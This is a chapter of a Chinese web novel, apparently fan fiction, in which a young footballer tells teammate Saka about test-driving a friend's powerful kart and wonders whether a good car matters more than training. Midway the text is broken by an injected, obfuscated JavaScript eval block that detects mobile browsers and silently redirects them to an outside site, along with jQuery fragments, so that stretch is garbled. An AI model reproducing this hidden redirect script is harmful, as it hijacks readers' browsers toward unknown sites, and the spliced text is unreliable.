25.好车
作品:《为了拯救系统,我放弃足球改行赛车》 “好了,解散,大家辛苦了。”
随着教练话音落下,小朋友们拍拍掌,庆幸又熬过一节训练,三三两两作鸟兽散去。
岑维希仔仔细细地把头发吹到全干,然后晃晃悠悠地去收拾装备,先把脏衣服整齐地叠起来放进小书包,又去整理储物柜,把香波瓶子按照从大到小的顺序排列,但他似乎不满意,换了种颜色从浅到深地排列。
早就洗好澡顶着半干头发的萨卡:“?”
“你今天怎么了?” 萨卡眼看着他对着三个罐子摆弄半天,无语地开口:“你在磨蹭什么啊?”
“我在收拾东西啊。”岑维希不紧不慢,还在摆弄他的小罐子:“你不知道,我们中国有句古话,叫一屋不扫何以扫天下。”
萨卡疑惑:“你就三个罐子,有什么好扫的(sweep)。你需要一个鸡毛掸子嘛?”
“你不懂,” 岑维希斜瞥萨卡一眼,摇摇头:“在我们中国,三是一个奇妙的数字,三不是普通的三,三指代的是宇宙万物,所谓一生二,二生三,三生万物。”
“......” 萨卡没有被绕晕:“可是你的柜子里就是只有三瓶东西啊。”
洗发露,沐浴露,还有一瓶买来从来没用过的除臭剂。
说到这个萨卡就羡慕,岑维希和他们一起训练,大家□□练完都汗津津得像条臭烘烘的死狗,只有岑维希闻起来没啥味道。萨卡非常羡慕这项特异功能,岑维希还骗着他是因为喝了‘老妈熬的中国草药所以浑身散发着草药的香气’。
萨卡信以为真,捏着鼻子吃了好几天沙拉,不加酱汁的那种。
“你不对劲。”萨卡像警犬一样上下打量岑维希一番,他确信自己嗅到了阴谋的味道:“你以往不是火急火燎跑去练车嘛?”
圣诞假期结束,他们再次回到了学校。虽然小豆丁的小学课程宽松到不行,但是岑维希既要练球还要瞒着他妈妈练车,时间表繁忙得连法布雷加斯都自叹不如。
岑维希在因为某次‘逃课离家夜不归宿’事件导致踢球东窗事发,数罪并罚,岑母对他处以‘禁足’‘禁球’‘禁阿森纳’的极刑,如果不是法布雷加斯良心不安,请来温格教授登门游说,岑维希现在还没有解禁。
总之,在温格教授和岑母‘书房密谈’数小时之后,岑维希重新获得了踢球的权利——不过是有条件的自由——仅限于参与青年队训练,以及‘适度的’守门员训练。
但岑维希瞒着家里的事情岂止偷偷和一线队踢球。
许下宏愿想要成为赛车手的岑维希不得不在训练的间隙挤出时间去开车。一般他每周去练习两次,带上来回路程的时间实际的训练时间远不算充足,萨卡每次这个时候都看见岑维希风风火火恨不得瞬移跑路。
如此反常,必有蹊跷!
“他们欺负你了?” 萨卡把包一扔,硬坐到岑维希身边和他谈心。
他们两个的号码相邻:萨卡是77,岑维希是66。在更衣室也是紧挨着的。
“没有。”
“抢你球鞋,不是,卡丁车了?”
“没有。”
“往你的卡丁车上涂画什么猩猩香蕉了?”
“?你在想什么?”
“我知道了!他们一定是在你的车子里面塞了屁垫!。”
“什么是屁垫?”
“就是坐下来会发出放屁的声音.....”
“......”
“少看点弱智电影,有空多写写数学题吧。” 岑维希无语地看着摩拳擦掌,陷入幻想的萨卡:“我真没被欺负。”
“不可能。你要是被欺负了一定要跟我说,我们有11个人,算上替补23个,不怕打不过那边3个人!”
他可是听岑维希说过了,他遇上了三个开卡丁车的小伙伴。听起来那三个人从小就认识,还有一个是他们都见识过有多讨人厌的兰多·诺里斯,保不齐这群人就联手要欺负新兵蛋子岑维希了呢!岑维希看起来那么小,那么可爱,还是亚洲人,顶着圆鼓鼓的苹果脸,怎么看都是好欺负的对象。
“真没有。”
“那个兰多·诺里斯没有找你麻烦?”
“兰多?我不找他的麻烦就不错了。”
面对萨卡不相信的眼神,岑维希不得不解释,他现在应老诺里斯先生的邀请,正在担任他的小儿子兰多·诺里斯的家教工作,具体内容包括教导兰多单词的拼写,薪水是老诺里斯为他支付在PF训练的账单,算下来比帮邻居遛狗优渥多了。
果然知识就是财富啊。
“教拼写?”萨卡不理解,拼写还用专门教嘛?
“兰多有阅读障碍,”岑维希解释:“这是一种,well,疾病?总之兰多看到的课本上所有字母都是乱序在跳舞的那种。”
“如果一个单词超过5个字母,他就拼不出来。”
“我的天呐?!” 从来在拼写上拿满分的萨卡震惊了:“他也太惨了吧。”
他瞬间忘记了对兰多·诺里斯的敌视,开始同情起他了——长得又矮小,读书又不好,听起来就让人担心他的未来啊。
“那,那个眼睛很大,很英国人的那个呢?他有欺负你吗?”兰多想起来某次去帮岑维希遛狗撞见的那个人,穿着一本正经,远远地躲开咕咕,看起来就很...‘英国’。
“拉塞尔?他人挺好的。他还请问去他家玩,你知道吗,他家有一整个大农庄,还有马!有拖拉机!有.....” 岑维希来劲了。
“那,那你是为什么不想去开车了?”萨卡挠头:“总不能是那个泰国人?他看起来人真的很好....”
唉。
岑维希叹了一口气。
还真是那个泰国人的缘故。
“可能是因为,他过于友好了......”
“你知道吗?他甚至愿意让我开他的车......”
*
岑维希忐忑又兴奋地坐上阿尔本的卡丁车。
在他很中国人地‘推拒’了几次之后,他还是难以抗拒‘豪车’的诱惑,在阿尔本的热情邀请下,坐上了他定制的那辆红色涂装的酷炫卡丁车。
最开始,他开得小心翼翼,踩油门都只敢用一半力,深怕撞墙——总不能把人家的车子刮蹭了吧。
但是尽管他动作轻到几乎没有,车子却灵敏地像是嗅到了腥味的鲨鱼,发动机立马发出启程的轰鸣声,刷——地一下就冲了出去。措手不及的岑维希差点没控制住直接让车子起步撞墙。
但在缓慢地一圈磨合之后,他逐渐开始上手了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594385|170857||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这辆车子和场地自带的车子最大不同在于灵敏度——不只是油门和刹车的灵敏度,还有方向盘。以往岑维希过弯踩刹车都需要重踩,然后大幅度打方向盘过弯,但是这辆车子开起来十分省力——轻轻一踩就能有相似的效果。
就算踩重了,也不会出现失控的现象。四个轮子的抓地力比场地车要好上很多倍。
最重要的是,发动机功率也大上很多倍。
岑维希之前看不懂阿尔本在长直道上进行了什么操作才让记录往前推,现在他知道了,也许操作就是油门踩大,踩更大,踩最大。
引擎会帮你搞定剩下的东西。
一圈跑完。
计时器跳出1''06''''43,岑维希的手指还放在方向盘上,表情空茫茫,似乎还没有从高速冲刺的肾上腺素中回过神来。
“很不错的成绩嘛,”阿尔本挂着爽朗的笑容过来,这个慷慨的,完全不介意岑维希撞坏他贵重的车子的泰国人真心为岑维希感到高兴:“恭喜你,刷新了自己的最好成绩!”
是的。
足足快了一秒钟。
岑维希甚至不需要看到计时器,他在跑圈的时候就有预感自己会刷出最好的成绩——只是没想到居然刷新了那么多。
居然快了一秒钟?
“早就说了让你换掉你那个破车子了。” 兰多在一旁嘟嘟囔囔。
“真是难得听到你说出这样的话。” 拉塞尔凉凉地说。
“怎么,我说的不对吗?”
“就是对了才难得。”
“你什么意思啊!”
忽略耳边没事也要找事斗嘴两句的兰多拉塞尔,阿尔本趴下身,对着拉起头盔护目镜的岑维希认真地说:“兰多这回是对的,岑,你需要一辆自己的卡丁车。”
“....我知道。”
岑维希表情仍然恍惚。他像是废了很大劲才听清阿尔本说了什么。
岑维希知道兰多说的是对的。
在F1的世界里,对赛车的适应能力也是考察车手能力的重要一环。毕竟你不可能要求一辆造价几百上千万的车子去适应你,只有你去调整自己的驾驶风格去‘驯服’自己的赛车。而如果你失败了,那么等待你的结果只有扫地出门。
“我懂了。”萨卡撑着头听岑维希讲故事,他总结道:“球员里面也有这种人啊,在这个体系里面如鱼得水,数据上两位数,换个球队换个打法直接废掉.....比如说舍甫琴科。”
“是的.....就像舍甫琴科。”
这位金发的乌克兰前锋在2006年被狂热追求他的蓝军老板阿布收入囊中,但是带着野心荣耀驾临斯坦福桥的金球先生并没有在这里收获成功。他和主帅穆里尼奥的足球理念几乎背道而驰。这次转会目前来看是‘外行不要插手内行’的经典案例,所有参与其中的人似乎都一败涂地。
“所以....你是想说,你不想做舍甫琴科?”
“不,我是在想,”岑维希目光放空,看向不知名的远方。萨卡很少在自己聪明绝顶的好友脸上看到这样迷茫不知所措的表情。
“如果一辆好车子可以决定我的成绩,那么我努力训练的意义又在哪里呢?”
“我究竟是车子的主人,还是车子的仆人?”